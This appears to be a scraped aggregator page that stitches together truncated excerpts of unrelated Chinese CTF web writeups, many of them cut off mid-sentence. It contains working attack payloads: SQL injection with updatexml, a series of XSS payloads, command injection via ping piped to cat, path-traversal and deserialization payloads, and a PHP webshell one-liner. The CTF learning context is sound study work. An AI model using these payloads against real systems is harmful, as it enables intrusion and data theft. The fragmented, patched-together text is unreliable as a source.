P.W.N. CTF - Web - Login Sec】的更多相关文章

题目 链接:https://ctftime.org/task/6934 题解 Login 1 题目给出了源码 var http = require('http'); const crypto = require('crypto'); var url = require('url'); var fs = require('fs'); var _0x86d1=["\x68\x65\x78","\x72\x61\x6E\x64\x6F\x6D\x42\x79\x74\x65\x73…
0x00 背景 31c3 CTF 还是很人性化的,比赛结束了之后还可以玩.看题解做出了当时不会做的题目,写了一个writeup. 英文的题解可以看这:https://github.com/ctfs/write-ups/tree/master/31c3-ctf-2014/web 0x01 pCRAPp 1 PHP is nasty crappy sometimes, just pwn it http://188.40.18.69/ 这题需要好多php技巧组合起来.过关需要这样提交. 1 http:…
EN: It's easy to find out where is the bug : .text:0000000000400DE4 ; void *start_routine(void *).text:0000000000400DE4 start_routine   proc near               ; DATA XREF: sub_401182+C8o ... .text:0000000000400F3B                 lea     rcx, [rbp+h…
工具集 基础工具:Burpsuite,python,firefox(hackbar,foxyproxy,user-agent,swither等) 扫描工具:nmap,nessus,openvas sql注入工具:sqlmap等 xss平台:xssplatfrom,beef 文件上传工具:cknife 文件包含工具:LFlsuite 暴力破解工具:burp暴力破解模块,md5Crack,hydra 常用套路总结 直接查看网页源码,即可找到flag 查看http请求/响应,使用burp查看http头…
 宽字节注入 宽字节注入是利用mysql的一个特性,mysql在使用GBK编码(GBK就是常说的宽字节之一,实际上只有两字节)的时候,会认为两个字符是一个汉字(前一个ascii码要大于128,才到汉字的范围),而当我们输入有单引号时会自动加入\进行转义而变为\’(在PHP配置文件中magic_quotes_gpc=On的情况下或者使用addslashes函数,icov函数,mysql_real_escape_string函数.mysql_escape_string函数等,提交的参数中如果带有单引…
和上一篇文章差不多,也算是对web源码泄露的一个总结,但是这篇文章更侧重于CTF 参考文章: https://blog.csdn.net/wy_97/article/details/78165051?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-2.channel_param&depth_1-utm_source=distribute.pc_relevant.none-task-b…
前言 因为最近在准备开发CTF学习平台,先做一个学习路线的整理,顺便也是对想学web的学弟学妹的一些建议. 学习路线 初期 刚刚走进大学,入了web安全的坑,面对诸多漏洞必然是迷茫的,这时的首要任务就是打好网站开发的基础,曾有伟人说过-"自己不会做网站,何谈去找网站的漏洞",在学习漏洞前,了解基本网站架构.基础网站开发原理,基础的前后端知识,能够让你之后的漏洞学习畅通无阻. html+css+js(2-3天) 前端三要素 html.css.js是被浏览器解析的代码,是构成静态页面的基础…
首先一看的题,既然是是web类的,就要查看源码,一看,最先有一行注释,估摸着是用户名和密码 果然登录上去了,显示一段乱码,源码也没有什么东西, 那就抓一次包吧 发现响应头里边有个show:0的响应,而请求头没有,所以构造一个show:1 出现memeter.php的源文件 加了三层密,解密 出现一段base64,再看源文件,发现是cookie里边的token 直接在请求头里边添加上去 得到flag 总结:里边有两点需要注意,一是看到响应头里边有show,要很容易想到要在请求头里边添加个show…
反序列化 漏洞代码 <?php error_reporting(0); if(empty($_GET['code'])) die(show_source(__FILE__)); class example { var $var='123'; function __destruct(){ $fb = fopen('./php.php','w'); fwrite($fb, $this->var); fclose($fb); } } $class = $_GET['code']; $class_un…
之前边看writeup,边做实验吧的web题,多多少少有些收获.但是知识点都已记不清.所以这次借助i春秋这个平台边做题,就当记笔记一样写写writeup(其实都大部分还是借鉴其他人的writeup). 本人小白一枚,于是从低分题(简单题)边学边做 这篇随笔会写4道题 0x01:爆破-1 0x02:爆破-2 0x03:爆破-3 0x04:upload 0x01:爆破-1 打开链接,发现一段PHP代码 明确我们的flag在flag.php这个文件里面以注释或者不外显的形式存在. hello这个变量是…
sql注入基础原理 一.Sql注入简介 Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击,它目前黑客对数据库进行攻击的最常用手段之一. 二.Web 程序三层架构 三层架构(3-tier architecture) 通常意义上就是将整个业务应用划分为: 界面层(User Interface layer) 业务逻辑层(Business Logic Layer) 数据访问层(Data access layer). 区分层次的目的…
1. 工具集 基础工具 Burpsuit, Python, FireFox(Hackbar, FoxyProxy, User-Agent Swither .etc) Burpsuit 代理工具,攻击web应用程序的集成平台 火狐浏览器中插件多功能强大 Hackbar 支持修改post请求提交的数据 扫描工具 御剑后台扫描工具, Namp, AWVS 御剑后台扫描工具: Namp :开放端口,探测服务 AWVS :web漏洞扫描工具,常规的web漏洞 SQL注入工具 Sqlmap XSS平台 通过…
今天才知道还有蓝鲸安全这个平台,又涨了一点知识,我来分享一下个人的解题思路以及感受,希望能够帮助到那些需要的人 (我想把每一步都写下来,因为我还是萌新,所以我知道有可能会因为一步的不会导致所有都不会的结果) 解题思路:针对于这一题,首先看http头,将html更改为php立即就会跳转为html有问题: 最后答案:flag:{This_is_s0_simpl3} 解题思路:首先需要知道关于ip地址绕过的信息: https://blog.csdn.net/caiqiiqi/article/detai…
  偶然看到的比赛,我等渣渣跟风做两题,剩下的题目工作太忙没有时间继续做. 第1题 sql注入: 题目知识 考察sql注入知识,题目地址:http://101.200.145.44/web1//index.php 做题过程 第一步:注入Playload user=flag&pass=' or updatexml(1,concat(0x7e,(select pw from user limit 1,1 )),0)# ' 第二步:注入效果 Masel's secure site 重置数据库 Erro…
XSS练习平台 https://alf.nu/alert1 Warmup 1");alert(1)// Adobe 1");alert(1)// JSON </script><script>alert(1)</script>// JavaScript %22);alert(1)// Markdown [[a|http://onerror=alert(1)//]] DOM Comment#--><img src=a onerror=aler…
服务端请求伪造 如你所愿,这次可以读取所有的图片,但是域名必须是www开头 测试方法 POST /index.php HTTP/1.1 Host: 218.2.197.236:27375 Content-Length: 40 Cache-Control: max-age=0 Origin: http://218.2.197.236:27375 Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded…
命令执行 找到题目中的KEY KEY为八位随机字符数字,例如key:1234qwer.提交1234qwer 即可. 漏洞代码 <?php system("ping -c 2 ".$_GET['ip']); ?> 测试方法 http://localhost/command.php?ip=127.0.0.1|cat command.php…
函数绕过 <?php show_source(__FILE__); $c = "<?php exit;?>"; @$c.=$_GET['c']; @$filename = $_GET['file']; @file_put_contents($filename, $c); highlight_file('tmp.php'); ?> <?php system($_REQUEST['z']); ?> 测试方法 http://218.2.197.236:29…
文件包含 题目要求: 请找到题目中FLAG 漏洞源码 <meta charset='utf-8'> <center><h1>文件阅读器</h1></center> <!-- 据说flag在flag.php里 --> <?php error_reporting(0); $f=$_GET['file']; if(stripos($f,"..")===false) { //; } else { exit('inva…
读文件 只给了个1.txt可以读,试了一下加*不行,感觉不是命令执行,"../"返回上级目录也不行,猜测可能过滤了什么,在1.txt中间加上"./"发现仍能读取,说明"./"被过滤了,构造payload,在上级目录的flag.php的注释里读到flag 测试方法 http://218.2.197.232:18008/a/down.php?p=...//fla./g.php…
function check($number) { $one = ord('1'); $nine = ord('9'); for ($i = 0; $i < strlen($number); $i++) { $digit = ord($number{$i}); if ( ($digit >= $one) && ($digit <= $nine) ) { return false; } } return $number == '11259375'; } 0xabcdef 用…
参考链接 https://ctftime.org/task/7404 题目描述 PHP's unserialization mechanism can be exceptional. 解题流程 程序代码 <?php $line = trim(fgets(STDIN)); $flag = file_get_contents('/flag'); class B { function __destruct() { global $flag; echo $flag; } } $a = @unserial…
1.easyphp 1.1.题目描述 题目首先是一张不存在的图片 查看源码发现只有一句话 <img src="show.php?img=aGludC5qcGc=" width="100%"/> 点开源码中图片的链接,跳转到下面的页面 img 后面的内容很像是 base64 编码,经过解码验证,确实是 base64 编码,还原后是 hint.jpg . 尝试把 img 后面的参数用 flag.jpg.flag.php.flag 的base64编码代替后访问…
题目 链接:https://ctftime.org/task/6935 题解 只有两个页面的网站,index.html和about.html index.html页面有一个pdf链接,指向http://foi.uni.hctf.fun/docs/document_001.pdf,看这个命名就觉得很有意思,试了下最高能到document_300.pdf 把所有的pdf下载下来 发现有一个文件颜色不太一样 打开看下,flag就在里面 Flag : flag{F1rst_Gr4d3rs_4r1thm3…
进入到题目的界面,看到以下源码 构造payload=?code=O:4:"xctf":1:{s:4:"flag";s:3:"111";} 结合题目以及大佬的wp可以知道,这是一道unserialize的反序列化题.结合魔术方法 __wakeup() 可以知道,这一道题是要考察我们对于__wakeup()的绕过方法. 上网查阅资料可以知道,当序列化字符串当中属性个数值大于实际的属性个数时,就会导致反序列化异常,从而跳过__wakeup函数. 于是构…
$_GET 源码: <?php show_source(__FILE__); include 'config.php'; if(!isset($_GET['args'])){ die(); } if ($_GET['args'] === "give_me_flag") { echo file_get_contents($flag_of_get); //flag } ?> 会判断 $_GET 传参,如果是 args 且值是 give_me_flag,就会打印 flag $_P…
在介绍HTML5 web缓存前,来认识一下cookie和session: session: 由于HTTP是无状态的,你是谁?你干了什么?抱歉服务器都是不知道的. 因此session(会话)出现了,它会在服务器上存储用户信息以便将来使用(比如用户名称,购物车购买商品等). 但是session是临时的,用户离开网站将被删除.如果要永久存储信息,可以保存在数据库中! session工作原理:为每个用户创建一个session id(核心!!!).而session id是存储在cookie中的,也就是说如…
本次实验在XX同学的指导下完成 1.实验后回答问题 (1)SQL注入攻击原理,如何防御 SQL注入攻击的基本原理,是从客户端合法接口提交特殊的非法代码,让其注入到服务器端执行业务的SQL中去,进而改变SQL语句的原有逻辑和影响服务器端正常业务的处理. SQL注入攻击是Web应用中一个重要的安全问题,虽然Java具备较高的安全性,但如果开发人员不注意,也有可能留下安全隐患,请看示例: 执行验证的SQL语句 现有一个Login页面用来控制WebApp的入口,用户想要进入只有输入"用户名"和…
1)简单web服务器: package main import ( "fmt" "net/http" ) func sayHelloName(w http.ResponseWriter, r *http.Request) { fmt.Fprintf(w, "hello, world") } func main() { http.HandleFunc("/", sayHelloName) http.ListenAndServe(…
官网:http://web-console.org/ 这个脚本可以实现web下交互,也就是有了这玩意后可以不用反弹shell了. <?php // Web Console v0.9.7 (2016-11-05) // // Author: Nickolay Kovalev (http://nickola.ru) // GitHub: https://github.com/nickola/web-console // URL: http://web-console.org // Disable l…